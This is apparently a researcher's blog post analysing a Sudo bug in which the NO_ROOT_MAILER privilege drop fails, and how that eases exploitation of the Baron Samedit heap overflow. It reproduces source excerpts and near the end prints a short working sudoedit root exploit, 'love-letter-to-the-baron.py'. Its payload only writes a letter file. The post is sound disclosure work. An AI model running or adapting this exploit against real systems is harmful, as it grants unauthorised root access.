A Love Letter to the Baron: Broken NO_ROOT_MAILER Eases Exploitation

As described in a previous post, the attempt to reproduce the findings from Qualys' Inc. security advisory regarding a Sudo heap overflow vulnerability unveiled other problematic code in Sudo. As that bug affected dropping privileges for login failure warning e-mails (NO_ROOT_MAILER feature) and was found while reproducing the "Baron Samedit" bug, the exploit was named love-letter-to-the-baron.py.

The NO_ROOT_MAILER Feature (Software Archeology)

The feature itself is quite old, it was introduced by the sudo maintainer Todd C. Miller 2002 (see change log).

2002-01-16 Todd C. Miller * Add support for the NO_ROOT_MAILER compile-time option and run the mailer as the user and not root if NO_ROOT_MAILER is defined.

The reason to do that were two vulnerabilities, that cannot be both fixed easily at the same time. According to the Sudo security alert on CVE-2002-0043 sending mails as root was introduced with Sudo version 1.6.0 (mentioned in a changelog entry dated 1999-11-16), the reason to send mails as root was to avoid users bruteforcing passwords using sudo and killing the mailer before it sent out the alert:

Starting with version 1.6.0 Sudo sends mail to the administrator as root to prevent the invoking user from killing the mail process and thus avoiding logging (in previous versions of Sudo the mail was sent as the invoking user).

Running the mailer as root solved some issues, but therefore the environment had to be sanitized. As that was not done properly, privilege escalation was possible (CVE-2002-0043).

sudo 1.6.0 through 1.6.3p7 does not properly clear the environment before calling the mail program, which could allow local users to gain root privileges by modifying environment variables and changing how the mail program is invoked.

So fixing one security weakness created another one. The solution was the NO_ROOT_MAILER feature, now usually activated by default.

... I recommend that people upgrade to Sudo 1.6.4 or higher which runs the mail program with a clean environment. Admins wishing to run the mailer as the invoking user and not as root should use the --disable-root-mailer configure option in Sudo 1.6.5.

The NO_ROOT_MAILER Bug...

While being introduced 2002 the NO_ROOT_MAILER feature was working for years till October 2020 when code refectoring for Sudo 1.9.4 damaged it (most likely related to commit 2e02c25be009). Due to that change "sudoers_init" in "plugins/sudoers/sudoers.c" calls "init_eventlog_config" (via "init_defaults") and "sudoers_policy_deserialize_info" in the wrong order regarding the uid:

154 int 155 sudoers_init(void *info, char * const envp[]) 156 { ... 174 /* Setup defaults data structures. */ 175 if (!init_defaults()) { 176 sudo_warnx("%s", U_("unable to initialize sudoers default values")); 177 debug_return_int(-1); 178 } 179 180 /* Parse info from front-end. */ 181 sudo_mode = sudoers_policy_deserialize_info(info);

Therefore "init_eventlog_config" in "plugins/sudoers/logging.c" copies the "user_uid" from uninitialized memory (0 == root):

785 void 786 init_eventlog_config(void) 787 { 788 int logtype = 0; 789 #ifdef NO_ROOT_MAILER 790 uid_t mailuid = user_uid; 791 #else 792 uid_t mailuid = ROOT_UID; 793 #endif 794 debug_decl(init_eventlog_config, SUDOERS_DEBUG_LOGGING); ... 808 eventlog_set_mailuid(mailuid);

Only afterwards the "user_uid" is set in "sudoers_policy_deserialize_info" in "plugins/sudoers/policy.c" but the new value cannot reach "eventlog_set_mailuid" any more:

88 int 89 sudoers_policy_deserialize_info(void *v) 90 { ... 360 user_uid = (gid_t)-1; ... 369 if (MATCHES(*cur, "uid=")) { 370 p = *cur + sizeof("uid=") - 1; 371 user_uid = (uid_t) sudo_strtoid(p, &errstr);

The consequence is that the uid is set to the value zero using the content from the unitialized user_uid variable. For buggy versions of Sudo the effect can be demonstrated by replacing the mailer (/usr/sbin/sendmail) with a simple script:

#!/bin/sh cat /proc/self/status >> /root/sendmail.log

Running sudo or sudoedit (e.g. /usr/bin/sudoedit -S X < /dev/null) and failing the passowrd prompt will create "/root/sendmail.log" only when the mailer was run as root. The log should contain then:

... Uid: 0 0 0 0 Gid: 100 100 100 100 ...

... and How That Eases Exploitation

The previous love letter post explained why exploiting a memory vulnerability (heap corruption) by using the file system for ASLR-defeating code injection is easier and more reliable than pure in-memory approaches. With "NO_ROOT_MAILER" being effective overwriting data for the "nss_load_library" was one of the reliable solutions reported by Qualys. A PoC using that method was published by blasty on github including the main program hax.c (140 lines with 18 lines header) and the library to be loaded lib.c (16 lines).

With "NO_ROOT_MAILER" broken the exploit requires just to create a file and invoke sudoedit with appropriate program arguments and environment variables. This is done by love-letter-to-the-baron.py (43 lines with 18 lines header). The full code without the disclaimer text is:

26 heraldName = '/tmp/XXXXXXXXXXXXXXXXXXXXXXXXX' 27 heraldFd = os.open(heraldName, os.O_WRONLY|os.O_CREAT|os.O_TRUNC|os.O_NOCTTY) 28 os.write( 29 heraldFd, 30 b'#!/bin/sh\ncat <<EOF > /the-letter.txt\nMy dearest Baron,...\n\nWith love,\nX*96\n\nLegal disclaimer:\n\n' + bytes(disclaimer, 'utf8') + b'\nEOF\n') 31 os.fchmod(heraldFd, 0o755) 32 os.close(heraldFd) 33 34 devNullHandle = os.open('/dev/null', os.O_RDONLY) 35 letterEnv = { 36 'LC_ALL': 'C.UTF-8', 37 'LANGUAGE': 'A'*84} 38 letterArgs = [ 39 '/usr/bin/sudoedit', '-S', '-s', '\\', 40 'X'*96 + heraldName] 41 process = subprocess.Popen( 42 letterArgs, stdin=devNullHandle, env=letterEnv, cwd="/") 43 process.wait()

The exploit overwrites the "evl_conf.mailerpath" variable in the event logging structure. Due to broken "NO_ROOT_MAILER" the mailer is then executed with full privileges by the code in "lib/eventlog/eventlog.c":

332 exec_mailer(int pipein) 333 { ... 385 if (evl_conf.mailuid != ROOT_UID) { 386 if (setuid(evl_conf.mailuid) != 0) { 387 sudo_debug_printf(SUDO_DEBUG_ERROR, "unable to change uid to %u", 388 (unsigned int)evl_conf.mailuid); 389 } 390 } 391 sudo_debug_exit(__func__, __FILE__, __LINE__, sudo_debug_subsys); 392 if (evl_conf.mailuid == ROOT_UID) 393 execve(mpath, argv, root_envp); 394 else 395 execv(mpath, argv); ...

Thanks

Thanks to Qualys Security Advisory team supporting the analysis of the issue and Todd C. Miller for quickly providing a fix.

Notes:

Comments are welcome, but there is no forum system im place yet. If there is something important to be added to this page, please send it as e-mail. Legal: Appropriate comments will be published, there is no right for you to get them published, use a "Nick:" entry in your comment otherwise for attribution "Anonymous" is used, comment mails are deleted after processing (GDPR), IPR rights for your comment stay with you except that the content may be used to correct or improve the page while referencing to your comment as source of the change, comment data is not submitted to third parties. Phuuu, inhale!